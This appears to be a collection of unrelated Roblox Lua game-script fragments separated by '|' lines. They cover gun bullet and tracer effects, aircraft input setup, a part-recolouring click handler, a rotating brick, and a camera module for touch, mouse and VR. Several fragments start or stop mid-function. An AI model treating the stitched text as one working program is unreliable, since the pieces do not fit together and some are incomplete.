L_336_forvar2:Destroy()
end
end
end
function CheckForHumanoid(L_225_arg1)
local L_226_ = false
local L_227_ = nil
if L_225_arg1 then
if (L_225_arg1.Parent:FindFirstChildOfClass("Humanoid") or L_225_arg1.Parent.Parent:FindFirstChildOfClass("Humanoid")) then
L_226_ = true
if L_225_arg1.Parent:FindFirstChildOfClass('Humanoid') then
L_227_ = L_225_arg1.Parent:FindFirstChildOfClass('Humanoid')
elseif L_225_arg1.Parent.Parent:FindFirstChildOfClass('Humanoid') then
L_227_ = L_225_arg1.Parent.Parent:FindFirstChildOfClass('Humanoid')
end
else
L_226_ = false
end
end
return L_226_, L_227_
end
function CreateShell()
delay(math.random(4,8)/10, function()
if PastaFX:FindFirstChild('ShellCasing') then
local Som = PastaFX.ShellCasing:clone()
Som.Parent = Jogador.PlayerGui
Som.PlaybackSpeed = math.random(30,50)/40
Som.PlayOnRemove = true
Debris:AddItem(Som, 0)
end
end)
end
local Tracers = 1
function TracerCalculation()
local VisibleTracer
if Settings.RandomTracer then
if (math.random(1, 100) <= Settings.TracerChance) then
VisibleTracer = true
else
VisibleTracer = false
end
else
if Tracers >= Settings.TracerEveryXShots then
VisibleTracer = true
Tracers = 1
else
Tracers = Tracers + 1
end
end
return VisibleTracer
end
function CreateBullet(BSpread)
local Bullet = Instance.new("Part")
Bullet.Name = Player.Name.."_Bullet"
Bullet.CanCollide = false
Bullet.Transparency = 1
Bullet.FormFactor = "Custom"
Bullet.Size = Vector3.new(1,1,1)
local BulletMass = Bullet:GetMass()
local Force = Vector3.new(0,BulletMass * (196.2) - (Settings.BDrop) * (196.2), 0)
local BF = Instance.new("BodyForce")
BF.force = Force
BF.Parent = Bullet
local Origin = ArmaClone.SmokePart.Position
local Direction = ArmaClone.SmokePart.CFrame.lookVector + (ArmaClone.SmokePart.CFrame.upVector * (((Settings.BDrop*Zeroing.Value/2.8)/Settings.BSpeed))/2)
local BulletCF = CFrame.new(Origin, Origin + Direction)
local balaspread = CFrame.Angles(
RAD(RAND(-BSpread - ((SpeedPrecision/Saude.Stances.Mobility.Value)*Settings.WalkMultiplier), BSpread + ((SpeedPrecision/Saude.Stances.Mobility.Value)*Settings.WalkMultiplier)) / 20),
RAD(RAND(-BSpread - ((SpeedPrecision/Saude.Stances.Mobility.Value)*Settings.WalkMultiplier), BSpread + ((SpeedPrecision/Saude.Stances.Mobility.Value)*Settings.WalkMultiplier)) / 20),
RAD(RAND(-BSpread - ((SpeedPrecision/Saude.Stances.Mobility.Value)*Settings.WalkMultiplier), BSpread + ((SpeedPrecision/Saude.Stances.Mobility.Value)*Settings.WalkMultiplier)) / 20)
)
Direction = balaspread * Direction
Bullet.Parent = BulletModel
Bullet.CFrame = BulletCF + Direction
Bullet.Velocity = Direction * Settings.BSpeed
local RainbowModeCode = Color3.fromRGB(math.random(0,255),math.random(0,255),math.random(0,255))
local Visivel = TracerCalculation()
if Settings.BulletFlare == true and Visivel then
local bg = Instance.new("BillboardGui", Bullet)
bg.Adornee = Bullet
bg.Enabled = false
local flashsize = math.random(275, 375)/10
bg.Size = UDim2.new(flashsize, 0, flashsize, 0)
bg.LightInfluence = 0
local flash = Instance.new("ImageLabel", bg)
flash.BackgroundTransparency = 1
flash.Size = UDim2.new(1, 0, 1, 0)
flash.Position = UDim2.new(0, 0, 0, 0)
flash.Image = "http://www.roblox.com/asset/?id=1047066405"
if Settings.RainbowMode == true then
flash.ImageColor3 = RainbowModeCode
else
flash.ImageColor3 = Settings.BulletFlareColor
end
flash.ImageTransparency = math.random(2, 5)/15
spawn(function()
wait(.2)
if Bullet:FindFirstChild("BillboardGui") ~= nil then
Bullet.BillboardGui.Enabled = true
end
end)
end
if Settings.Tracer == true and Visivel then --and Visivel
local At1 = Instance.new("Attachment")
-- At1.Name = "At1"
At1.Position = Vector3.new(0,-1,-8) --(-10,0,0)
At1.Parent = Bullet
local At2 = Instance.new("Attachment")
-- At2.Name = "At2"
At2.Position = Vector3.new(0,0,8) --(10,0,0)
At2.Parent = Bullet
local tracerBeam1 = Instance.new("Beam")
tracerBeam1.Parent = Bullet
tracerBeam1.Enabled = true
tracerBeam1.FaceCamera = true
tracerBeam1.Color = ColorSequence.new(Settings.TracerColor)
tracerBeam1.Texture = "http://www.roblox.com/asset/?id=1847258023"
tracerBeam1.LightEmission = 1
tracerBeam1.LightInfluence = 0
tracerBeam1.TextureLength = 1
tracerBeam1.TextureSpeed = 0
tracerBeam1.TextureMode = Enum.TextureMode.Stretch
tracerBeam1.Attachment0 = At2
tracerBeam1.Attachment1 = At1
tracerBeam1.Segments = 2
tracerBeam1.Width0 = 1
tracerBeam1.Width1 = 3
tracerBeam1.CurveSize0 = 0
tracerBeam1.CurveSize1 = 0
tracerBeam1.Transparency = NumberSequence.new(0)
local tracerBeam2 = tracerBeam1:Clone()
tracerBeam2.Parent = Bullet
-- print("tracer ran")
|
-- Initialize client-side control of the aircraft
|
function Init()
guiController:Start(speeder)
engine.Throttle = 0
-- Setup boost
maxBoostAmount = engine._settings.BoostAmount
boostAmount = engine._settings.BoostAmount
if IS_MOBILE then
-- Hide mobile controls
UserInputService.ModalEnabled = true
end
-- If on PC (not console nor mobile)
if (not IS_MOBILE and not IS_CONSOLE) then
guiController:SetUsingGamepad(Gamepad.IsConnected)
Gamepad.Connected:Connect(function()
guiController:SetUsingGamepad(true)
GetInput = GetGamepadInput
end)
Gamepad.Disconnected:Connect(function()
guiController:SetUsingGamepad(false)
GetInput = GetKeyboardInput
end)
end
-- Input function
if IS_CONSOLE then
GetInput = GetGamepadInput
elseif IS_MOBILE then
GetInput = GetMobileInput
else
GetInput = (Gamepad.IsConnected and GetGamepadInput or GetKeyboardInput)
end
-- Start listeners for RenderUpdate and Heartbeat
physicsUpdateHandle = RunService.Heartbeat:Connect(PhysicsUpdate)
humanoid.Died:Connect(function() dead = true end)
end -- Init()
|
--[[--------------------------------------------------------------------
-- struct DumpState:
-- L -- lua_State (not used in this script)
-- writer -- lua_Writer (chunk writer function)
-- data -- void* (chunk writer context or data already written)
-- strip -- if true, don't write any debug information
-- status -- if non-zero, an error has occured
----------------------------------------------------------------------]]
| |
-------------------------
|
function onClicked()
R.Function1.Disabled = true
R.Function2.Disabled = false
R.BrickColor = BrickColor.new("Institutional white")
N.One1.BrickColor = BrickColor.new("Really black")
N.One2.BrickColor = BrickColor.new("Really black")
N.One4.BrickColor = BrickColor.new("Really black")
N.One8.BrickColor = BrickColor.new("Really black")
N.Four1.BrickColor = BrickColor.new("Really black")
N.Two1.BrickColor = BrickColor.new("Really black")
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
--[[
This is a script that makes an anchored brick rotate!
Just resize the brick to your desired size!
This script was made by ProjectTwo
Free for anyone to use!
]]
|
while true do
wait()
script.Parent.CFrame = script.Parent.CFrame * CFrame.fromEulerAnglesXYZ(0, math.pi/100, 0)
end
|
-- Setup gesture area that camera uses while DynamicThumbstick is enabled
|
local function OnCharacterAdded(character)
if UserInputService.TouchEnabled then
for _, child in ipairs(LocalPlayer.Character:GetChildren()) do
if child:IsA("Tool") then
IsAToolEquipped = true
end
end
character.ChildAdded:Connect(function(child)
if child:IsA("Tool") then
IsAToolEquipped = true
end
end)
character.ChildRemoved:Connect(function(child)
if child:IsA("Tool") then
IsAToolEquipped = false
end
end)
if PlayerGui then
local TouchGui = PlayerGui:FindFirstChild("TouchGui")
if TouchGui and TouchGui:WaitForChild("GestureArea", 0.5) then
GestureArea = TouchGui.GestureArea
GestureAreaManagedByControlScript = true
else
GestureAreaManagedByControlScript = false
local ScreenGui = Instance.new("ScreenGui")
ScreenGui.Name = "GestureArea"
ScreenGui.Parent = PlayerGui
GestureArea = Instance.new("Frame")
GestureArea.BackgroundTransparency = 1.0
GestureArea.Visible = true
GestureArea.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
layoutGestureArea(PortraitMode)
GestureArea.Parent = ScreenGui
end
end
end
end
if LocalPlayer then
if LocalPlayer.Character ~= nil then
OnCharacterAdded(LocalPlayer.Character)
end
LocalPlayer.CharacterAdded:connect(function(character)
OnCharacterAdded(character)
end)
end
local function positionIntersectsGuiObject(position, guiObject)
if position.X < guiObject.AbsolutePosition.X + guiObject.AbsoluteSize.X
and position.X > guiObject.AbsolutePosition.X
and position.Y < guiObject.AbsolutePosition.Y + guiObject.AbsoluteSize.Y
and position.Y > guiObject.AbsolutePosition.Y then
return true
end
return false
end
local function GetRenderCFrame(part)
return part:GetRenderCFrame()
end
local function CreateCamera()
local this = {}
local R15HeadHeight = R15_HEAD_OFFSET
function this:GetActivateValue()
return 0.7
end
function this:IsPortraitMode()
return PortraitMode
end
function this:GetRotateAmountValue(vrRotationIntensity)
vrRotationIntensity = vrRotationIntensity or StarterGui:GetCore("VRRotationIntensity")
if vrRotationIntensity then
if vrRotationIntensity == "Low" then
return VR_LOW_INTENSITY_ROTATION
elseif vrRotationIntensity == "High" then
return VR_HIGH_INTENSITY_ROTATION
end
end
return ZERO_VECTOR2
end
function this:GetRepeatDelayValue(vrRotationIntensity)
vrRotationIntensity = vrRotationIntensity or StarterGui:GetCore("VRRotationIntensity")
if vrRotationIntensity then
if vrRotationIntensity == "Low" then
return VR_LOW_INTENSITY_REPEAT
elseif vrRotationIntensity == "High" then
return VR_HIGH_INTENSITY_REPEAT
end
end
return 0
end
this.ShiftLock = false
this.Enabled = false
local isFirstPerson = false
local isRightMouseDown = false
local isMiddleMouseDown = false
this.RotateInput = ZERO_VECTOR2
this.DefaultZoom = LANDSCAPE_DEFAULT_ZOOM
this.activeGamepad = nil
local tweens = {}
this.lastSubject = nil
this.lastSubjectPosition = Vector3.new(0, 5, 0)
local lastVRRotation = 0
local vrRotateKeyCooldown = {}
local isDynamicThumbstickEnabled = false
local dynamicThumbstickFrame = nil
local function getDynamicThumbstickFrame()
if dynamicThumbstickFrame and dynamicThumbstickFrame:IsDescendantOf(game) then
return dynamicThumbstickFrame
else
local touchGui = PlayerGui:FindFirstChild("TouchGui")
if not touchGui then return nil end
local touchControlFrame = touchGui:FindFirstChild("TouchControlFrame")
if not touchControlFrame then return nil end
dynamicThumbstickFrame = touchControlFrame:FindFirstChild("DynamicThumbstickFrame")
return dynamicThumbstickFrame
end
end
-- Check for changes in ViewportSize to decide if PortraitMode
local CameraChangedConn = nil
local workspaceCameraChangedConn = nil
local function onWorkspaceCameraChanged()
if UserInputService.TouchEnabled then
if CameraChangedConn then
CameraChangedConn:Disconnect()
CameraChangedConn = nil
end
local newCamera = workspace.CurrentCamera
if newCamera then
local size = newCamera.ViewportSize
PortraitMode = size.X < size.Y
layoutGestureArea(PortraitMode)
DefaultZoom = PortraitMode and PORTRAIT_DEFAULT_ZOOM or LANDSCAPE_DEFAULT_ZOOM
CameraChangedConn = newCamera:GetPropertyChangedSignal("ViewportSize"):Connect(function()
size = newCamera.ViewportSize
PortraitMode = size.X < size.Y
layoutGestureArea(PortraitMode)
DefaultZoom = PortraitMode and PORTRAIT_DEFAULT_ZOOM or LANDSCAPE_DEFAULT_ZOOM
end)
end
end
end
workspaceCameraChangedConn = workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(onWorkspaceCameraChanged)
if workspace.CurrentCamera then
onWorkspaceCameraChanged()
end
function this:GetShiftLock()
return ShiftLockController:IsShiftLocked()
end
function this:GetHumanoid()
local player = PlayersService.LocalPlayer
return findPlayerHumanoid(player)
end
function this:GetHumanoidRootPart()
local humanoid = this:GetHumanoid()
return humanoid and humanoid.Torso
end
function this:GetRenderCFrame(part)
GetRenderCFrame(part)
end
local STATE_DEAD = Enum.HumanoidStateType.Dead
-- HumanoidRootPart when alive, Head part when dead
local function getHumanoidPartToFollow(humanoid, humanoidStateType)
if humanoidStateType == STATE_DEAD then
local character = humanoid.Parent
if character then
return character:FindFirstChild("Head") or humanoid.Torso
else
return humanoid.Torso
end
else
return humanoid.Torso
end
end
local HUMANOID_STATE_DEAD = Enum.HumanoidStateType.Dead
function this:GetSubjectPosition()
local result = nil
local camera = workspace.CurrentCamera
local cameraSubject = camera and camera.CameraSubject
if cameraSubject then
if cameraSubject:IsA('Humanoid') then
local humanoidStateType = cameraSubject:GetState()
if VRService.VREnabled and humanoidStateType == STATE_DEAD and cameraSubject == this.lastSubject then
result = this.lastSubjectPosition
else
local humanoidRootPart = getHumanoidPartToFollow(cameraSubject, humanoidStateType)
if humanoidRootPart and humanoidRootPart:IsA('BasePart') then
local subjectCFrame = GetRenderCFrame(humanoidRootPart)
local heightOffset = ZERO_VECTOR3
if humanoidStateType ~= STATE_DEAD then
heightOffset = cameraSubject.RigType == Enum.HumanoidRigType.R15 and R15HeadHeight or HEAD_OFFSET
end
if PortraitMode then
heightOffset = heightOffset + Vector3.new(0, PORTRAIT_MODE_CAMERA_OFFSET, 0)
end
result = subjectCFrame.p +
subjectCFrame:vectorToWorldSpace(heightOffset + cameraSubject.CameraOffset)
end
end
elseif cameraSubject:IsA('VehicleSeat') then
local subjectCFrame = GetRenderCFrame(cameraSubject)
local offset = SEAT_OFFSET
if VRService.VREnabled then
offset = VR_SEAT_OFFSET
end
result = subjectCFrame.p + subjectCFrame:vectorToWorldSpace(offset)
elseif cameraSubject:IsA('SkateboardPlatform') then
local subjectCFrame = GetRenderCFrame(cameraSubject)
result = subjectCFrame.p + SEAT_OFFSET
elseif cameraSubject:IsA('BasePart') then
local subjectCFrame = GetRenderCFrame(cameraSubject)
result = subjectCFrame.p
elseif cameraSubject:IsA('Model') then
result = cameraSubject:GetModelCFrame().p
end
end
this.lastSubject = cameraSubject
this.lastSubjectPosition = result
return result
end
function this:ResetCameraLook()
end
function this:GetCameraLook()
return workspace.CurrentCamera and workspace.CurrentCamera.CoordinateFrame.lookVector or Vector3.new(0,0,1)
end
function this:GetCameraZoom()
if this.currentZoom == nil then
local player = PlayersService.LocalPlayer
this.currentZoom = player and clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, this.DefaultZoom) or this.DefaultZoom
end
return this.currentZoom
end
function this:GetCameraActualZoom()
local camera = workspace.CurrentCamera
if camera then
return (camera.CoordinateFrame.p - camera.Focus.p).magnitude
end
end
function this:GetCameraHeight()
if VRService.VREnabled and not this:IsInFirstPerson() then
local zoom = this:GetCameraZoom()
return math.sin(VR_ANGLE) * zoom
end
return 0
end
function this:ViewSizeX()
local result = 1024
local camera = workspace.CurrentCamera
if camera then
result = camera.ViewportSize.X
end
return result
end
function this:ViewSizeY()
local result = 768
local camera = workspace.CurrentCamera
if camera then
result = camera.ViewportSize.Y
end
return result
end
local math_asin = math.asin
local math_atan2 = math.atan2
local math_floor = math.floor
local math_max = math.max
local math_pi = math.pi
local Vector2_new = Vector2.new
local Vector3_new = Vector3.new
local CFrame_Angles = CFrame.Angles
local CFrame_new = CFrame.new
function this:ScreenTranslationToAngle(translationVector)
local screenX = this:ViewSizeX()
local screenY = this:ViewSizeY()
local xTheta = (translationVector.x / screenX)
local yTheta = (translationVector.y / screenY)
return Vector2_new(xTheta, yTheta)
end
function this:MouseTranslationToAngle(translationVector)
local xTheta = (translationVector.x / 1920)
local yTheta = (translationVector.y / 1200)
return Vector2_new(xTheta, yTheta)
end
function this:RotateVector(startVector, xyRotateVector)
local startCFrame = CFrame_new(ZERO_VECTOR3, startVector)
local resultLookVector = (CFrame_Angles(0, -xyRotateVector.x, 0) * startCFrame * CFrame_Angles(-xyRotateVector.y,0,0)).lookVector
return resultLookVector, Vector2_new(xyRotateVector.x, xyRotateVector.y)
end
function this:RotateCamera(startLook, xyRotateVector)
if VRService.VREnabled then
local yawRotatedVector, xyRotateVector = self:RotateVector(startLook, Vector2.new(xyRotateVector.x, 0))
return Vector3_new(yawRotatedVector.x, 0, yawRotatedVector.z).unit, xyRotateVector
else
local startVertical = math_asin(startLook.y)
local yTheta = clamp(-MAX_Y + startVertical, -MIN_Y + startVertical, xyRotateVector.y)
return self:RotateVector(startLook, Vector2_new(xyRotateVector.x, yTheta))
end
end
function this:IsInFirstPerson()
return isFirstPerson
end
-- there are several cases to consider based on the state of input and camera rotation mode
function this:UpdateMouseBehavior()
-- first time transition to first person mode or shiftlock
local camera = workspace.CurrentCamera
if camera.CameraType == Enum.CameraType.Scriptable then
return
end
if isFirstPerson or self:GetShiftLock() then
pcall(function() GameSettings.RotationType = Enum.RotationType.CameraRelative end)
if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then
UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter
end
else
pcall(function() GameSettings.RotationType = Enum.RotationType.MovementRelative end)
if isRightMouseDown or isMiddleMouseDown then
UserInputService.MouseBehavior = Enum.MouseBehavior.LockCurrentPosition
else
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
end
end
end
function this:ZoomCamera(desiredZoom)
local player = PlayersService.LocalPlayer
if player then
if player.CameraMode == Enum.CameraMode.LockFirstPerson then
this.currentZoom = 0
else
this.currentZoom = clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, desiredZoom)
end
end
isFirstPerson = self:GetCameraZoom() < 2
ShiftLockController:SetIsInFirstPerson(isFirstPerson)
-- set mouse behavior
self:UpdateMouseBehavior()
return self:GetCameraZoom()
end
function this:rk4Integrator(position, velocity, t)
local direction = velocity < 0 and -1 or 1
local function acceleration(p, v)
local accel = direction * math_max(1, (p / 3.3) + 0.5)
return accel
end
local p1 = position
local v1 = velocity
local a1 = acceleration(p1, v1)
local p2 = p1 + v1 * (t / 2)
local v2 = v1 + a1 * (t / 2)
local a2 = acceleration(p2, v2)
local p3 = p1 + v2 * (t / 2)
local v3 = v1 + a2 * (t / 2)
local a3 = acceleration(p3, v3)
local p4 = p1 + v3 * t
local v4 = v1 + a3 * t
local a4 = acceleration(p4, v4)
local positionResult = position + (v1 + 2 * v2 + 2 * v3 + v4) * (t / 6)
local velocityResult = velocity + (a1 + 2 * a2 + 2 * a3 + a4) * (t / 6)
return positionResult, velocityResult
end
function this:ZoomCameraBy(zoomScale)
local zoom = this:GetCameraActualZoom()
if zoom then
-- Can break into more steps to get more accurate integration
zoom = self:rk4Integrator(zoom, zoomScale, 1)
self:ZoomCamera(zoom)
end
return self:GetCameraZoom()
end
function this:ZoomCameraFixedBy(zoomIncrement)
return self:ZoomCamera(self:GetCameraZoom() + zoomIncrement)
end
function this:Update()
end
----- VR STUFF ------
function this:ApplyVRTransform()
if not VRService.VREnabled then
return
end
--we only want this to happen in first person VR
local player = PlayersService.LocalPlayer
if not (player and player.Character
and player.Character:FindFirstChild("HumanoidRootPart")
and player.Character.HumanoidRootPart:FindFirstChild("RootJoint")) then
return
end
local camera = workspace.CurrentCamera
local cameraSubject = camera.CameraSubject
local isInVehicle = cameraSubject and cameraSubject:IsA('VehicleSeat')
if this:IsInFirstPerson() and not isInVehicle then
local vrFrame = VRService:GetUserCFrame(Enum.UserCFrame.Head)
local vrRotation = vrFrame - vrFrame.p
local rootJoint = player.Character.HumanoidRootPart.RootJoint
rootJoint.C0 = CFrame.new(vrRotation:vectorToObjectSpace(vrFrame.p)) * CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
else
local rootJoint = player.Character.HumanoidRootPart.RootJoint
rootJoint.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
end
end
local vrRotationIntensityExists = true
local lastVrRotationCheck = 0
function this:ShouldUseVRRotation()
if not VRService.VREnabled then
return false
end
if not vrRotationIntensityExists and tick() - lastVrRotationCheck < 1 then return false end
local success, vrRotationIntensity = pcall(function() return StarterGui:GetCore("VRRotationIntensity") end)
vrRotationIntensityExists = success and vrRotationIntensity ~= nil
lastVrRotationCheck = tick()
return success and vrRotationIntensity ~= nil and vrRotationIntensity ~= "Smooth"
end
function this:GetVRRotationInput()
local vrRotateSum = ZERO_VECTOR2
local vrRotationIntensity = StarterGui:GetCore("VRRotationIntensity")
local vrGamepadRotation = self.GamepadPanningCamera or ZERO_VECTOR2
local delayExpired = (tick() - lastVRRotation) >= self:GetRepeatDelayValue(vrRotationIntensity)
if math.abs(vrGamepadRotation.x) >= self:GetActivateValue() then
if (delayExpired or not vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2]) then
local sign = 1
if vrGamepadRotation.x < 0 then
sign = -1
end
vrRotateSum = vrRotateSum + self:GetRotateAmountValue(vrRotationIntensity) * sign
vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2] = true
end
elseif math.abs(vrGamepadRotation.x) < self:GetActivateValue() - 0.1 then
vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2] = nil
end
if self.TurningLeft then
if delayExpired or not vrRotateKeyCooldown[Enum.KeyCode.Left] then
vrRotateSum = vrRotateSum - self:GetRotateAmountValue(vrRotationIntensity)
vrRotateKeyCooldown[Enum.KeyCode.Left] = true
end
else
vrRotateKeyCooldown[Enum.KeyCode.Left] = nil
end
if self.TurningRight then
if (delayExpired or not vrRotateKeyCooldown[Enum.KeyCode.Right]) then
vrRotateSum = vrRotateSum + self:GetRotateAmountValue(vrRotationIntensity)
vrRotateKeyCooldown[Enum.KeyCode.Right] = true
end
else
vrRotateKeyCooldown[Enum.KeyCode.Right] = nil
end
if vrRotateSum ~= ZERO_VECTOR2 then
lastVRRotation = tick()
end
return vrRotateSum
end
local cameraTranslationConstraints = Vector3.new(1, 1, 1)
local humanoidJumpOrigin = nil
local trackingHumanoid = nil
local cameraFrozen = false
local subjectStateChangedConn = nil
local cameraSubjectChangedConn = nil
local workspaceChangedConn = nil
local humanoidChildAddedConn = nil
local humanoidChildRemovedConn = nil
local function cancelCameraFreeze(keepConstraints)
if not keepConstraints then
cameraTranslationConstraints = Vector3.new(cameraTranslationConstraints.x, 1, cameraTranslationConstraints.z)
end
if cameraFrozen then
trackingHumanoid = nil
cameraFrozen = false
end
end
local function startCameraFreeze(subjectPosition, humanoidToTrack)
if not cameraFrozen then
humanoidJumpOrigin = subjectPosition
trackingHumanoid = humanoidToTrack
cameraTranslationConstraints = Vector3.new(cameraTranslationConstraints.x, 0, cameraTranslationConstraints.z)
cameraFrozen = true
end
end
local function rescaleCameraOffset(newScaleFactor)
R15HeadHeight = R15_HEAD_OFFSET*newScaleFactor
end
local function onHumanoidSubjectChildAdded(child)
if child.Name == "BodyHeightScale" and child:IsA("NumberValue") then
if heightScaleChangedConn then
heightScaleChangedConn:disconnect()
end
heightScaleChangedConn = child.Changed:connect(rescaleCameraOffset)
rescaleCameraOffset(child.Value)
end
end
local function onHumanoidSubjectChildRemoved(child)
if child.Name == "BodyHeightScale" then
rescaleCameraOffset(1)
if heightScaleChangedConn then
heightScaleChangedConn:disconnect()
heightScaleChangedConn = nil
end
end
end
local function onNewCameraSubject()
if subjectStateChangedConn then
subjectStateChangedConn:disconnect()
subjectStateChangedConn = nil
end
if humanoidChildAddedConn then
humanoidChildAddedConn:disconnect()
humanoidChildAddedConn = nil
end
if humanoidChildRemovedConn then
humanoidChildRemovedConn:disconnect()
humanoidChildRemovedConn = nil
end
if heightScaleChangedConn then
heightScaleChangedConn:disconnect()
heightScaleChangedConn = nil
end
local humanoid = workspace.CurrentCamera and workspace.CurrentCamera.CameraSubject
if trackingHumanoid ~= humanoid then
cancelCameraFreeze()
end
if humanoid and humanoid:IsA('Humanoid') then
humanoidChildAddedConn = humanoid.ChildAdded:connect(onHumanoidSubjectChildAdded)
humanoidChildRemovedConn = humanoid.ChildRemoved:connect(onHumanoidSubjectChildRemoved)
for _, child in pairs(humanoid:GetChildren()) do
onHumanoidSubjectChildAdded(child)
end
subjectStateChangedConn = humanoid.StateChanged:connect(function(oldState, newState)
if VRService.VREnabled and newState == Enum.HumanoidStateType.Jumping and not this:IsInFirstPerson() then
startCameraFreeze(this:GetSubjectPosition(), humanoid)
elseif newState ~= Enum.HumanoidStateType.Jumping and newState ~= Enum.HumanoidStateType.Freefall then
cancelCameraFreeze(true)
end
end)
end
end
local function onCurrentCameraChanged()
if cameraSubjectChangedConn then
cameraSubjectChangedConn:disconnect()
cameraSubjectChangedConn = nil
end
local camera = workspace.CurrentCamera
if camera then
cameraSubjectChangedConn = camera:GetPropertyChangedSignal("CameraSubject"):connect(onNewCameraSubject)
onNewCameraSubject()
end
end
function this:GetVRFocus(subjectPosition, timeDelta)
local newFocus = nil
local camera = workspace.CurrentCamera
local lastFocus = self.LastCameraFocus or subjectPosition
if not cameraFrozen then
cameraTranslationConstraints = Vector3.new(cameraTranslationConstraints.x, math.min(1, cameraTranslationConstraints.y + 0.42 * timeDelta), cameraTranslationConstraints.z)
end
if cameraFrozen and humanoidJumpOrigin and humanoidJumpOrigin.y > lastFocus.y then
newFocus = CFrame.new(Vector3.new(subjectPosition.x, math.min(humanoidJumpOrigin.y, lastFocus.y + 5 * timeDelta), subjectPosition.z))
else
newFocus = CFrame.new(Vector3.new(subjectPosition.x, lastFocus.y, subjectPosition.z):lerp(subjectPosition, cameraTranslationConstraints.y))
end
if cameraFrozen then
-- No longer in 3rd person
if self:IsInFirstPerson() then -- not VRService.VREnabled
cancelCameraFreeze()
end
-- This case you jumped off a cliff and want to keep your character in view
-- 0.5 is to fix floating point error when not jumping off cliffs
if humanoidJumpOrigin and subjectPosition.y < (humanoidJumpOrigin.y - 0.5) then
cancelCameraFreeze()
end
end
return newFocus
end
------------------------
---- Input Events ----
local startPos = nil
local lastPos = nil
local panBeginLook = nil
local lastTapTime = nil
local fingerTouches = {}
local NumUnsunkTouches = 0
local inputStartPositions = {}
local inputStartTimes = {}
local StartingDiff = nil
local pinchBeginZoom = nil
this.ZoomEnabled = true
this.PanEnabled = true
this.KeyPanEnabled = true
local function OnTouchBegan(input, processed)
--If isDynamicThumbstickEnabled, then only process TouchBegan event if it starts in GestureArea
local dtFrame = getDynamicThumbstickFrame()
local isDynamicThumbstickUsingThisInput = false
if isDynamicThumbstickEnabled then
local ControlScript = CameraScript.Parent:FindFirstChild("ControlScript")
if ControlScript then
local MasterControl = ControlScript:FindFirstChild("MasterControl")
if MasterControl then
local DynamicThumbstickModule = MasterControl:FindFirstChild("DynamicThumbstick")
if DynamicThumbstickModule then
DynamicThumbstickModule = require(DynamicThumbstickModule)
local dynamicInputObject = DynamicThumbstickModule:GetInputObject()
isDynamicThumbstickUsingThisInput = (dynamicInputObject == input)
end
end
end
end
if not isDynamicThumbstickUsingThisInput then
fingerTouches[input] = processed
if not processed then
inputStartPositions[input] = input.Position
inputStartTimes[input] = tick()
NumUnsunkTouches = NumUnsunkTouches + 1
end
end
end
local function OnTouchChanged(input, processed)
if fingerTouches[input] == nil then
if isDynamicThumbstickEnabled then
return
end
fingerTouches[input] = processed
if not processed then
NumUnsunkTouches = NumUnsunkTouches + 1
end
end
if NumUnsunkTouches == 1 then
if fingerTouches[input] == false then
panBeginLook = panBeginLook or this:GetCameraLook()
startPos = startPos or input.Position
lastPos = lastPos or startPos
this.UserPanningTheCamera = true
local delta = input.Position - lastPos
delta = Vector2.new(delta.X, delta.Y * GameSettings:GetCameraYInvertValue())
if this.PanEnabled then
local desiredXYVector = this:ScreenTranslationToAngle(delta) * TOUCH_SENSITIVTY
this.RotateInput = this.RotateInput + desiredXYVector
end
lastPos = input.Position
end
else
panBeginLook = nil
startPos = nil
lastPos = nil
this.UserPanningTheCamera = false
end
if NumUnsunkTouches == 2 then
local unsunkTouches = {}
for touch, wasSunk in pairs(fingerTouches) do
if not wasSunk then
table.insert(unsunkTouches, touch)
end
end
if #unsunkTouches == 2 then
local difference = (unsunkTouches[1].Position - unsunkTouches[2].Position).magnitude
if StartingDiff and pinchBeginZoom then
local scale = difference / math_max(0.01, StartingDiff)
local clampedScale = clamp(0.1, 10, scale)
if this.ZoomEnabled then
this:ZoomCamera(pinchBeginZoom / clampedScale)
end
else
StartingDiff = difference
pinchBeginZoom = this:GetCameraActualZoom()
end
end
else
StartingDiff = nil
pinchBeginZoom = nil
end
end
local function calcLookBehindRotateInput(torso)
if torso then
local newDesiredLook = (torso.CFrame.lookVector - Vector3.new(0, math.sin(math.rad(DEFAULT_CAMERA_ANGLE), 0))).unit
local horizontalShift = findAngleBetweenXZVectors(newDesiredLook, this:GetCameraLook())
local vertShift = math.asin(this:GetCameraLook().y) - math.asin(newDesiredLook.y)
if not IsFinite(horizontalShift) then
horizontalShift = 0
end
if not IsFinite(vertShift) then
vertShift = 0
end
return Vector2.new(horizontalShift, vertShift)
end
return nil
end
local function IsTouchTap(input)
-- We can't make the assumption that the input exists in the inputStartPositions because we may have switched from a different camera type.
if inputStartPositions[input] then
local posDelta = (inputStartPositions[input] - input.Position).magnitude
if posDelta < MAX_TAP_POS_DELTA then
local timeDelta = inputStartTimes[input] - tick()
if timeDelta < MAX_TAP_TIME_DELTA then
return true
end
end
end
return false
end
local function OnTouchEnded(input, processed)
if fingerTouches[input] == false then
if NumUnsunkTouches == 1 then
panBeginLook = nil
startPos = nil
lastPos = nil
this.UserPanningTheCamera = false
elseif NumUnsunkTouches == 2 then
StartingDiff = nil
pinchBeginZoom = nil
end
end
if fingerTouches[input] ~= nil and fingerTouches[input] == false then
NumUnsunkTouches = NumUnsunkTouches - 1
end
fingerTouches[input] = nil
inputStartPositions[input] = nil
inputStartTimes[input] = nil
end
local function OnMousePanButtonPressed(input, processed)
if processed then return end
this:UpdateMouseBehavior()
panBeginLook = panBeginLook or this:GetCameraLook()
startPos = startPos or input.Position
lastPos = lastPos or startPos
this.UserPanningTheCamera = true
end
local function OnMousePanButtonReleased(input, processed)
this:UpdateMouseBehavior()
if not (isRightMouseDown or isMiddleMouseDown) then
panBeginLook = nil
startPos = nil
lastPos = nil
this.UserPanningTheCamera = false
end
end
local function OnMouse2Down(input, processed)
if processed then return end
isRightMouseDown = true
OnMousePanButtonPressed(input, processed)
end
local function OnMouse2Up(input, processed)
isRightMouseDown = false
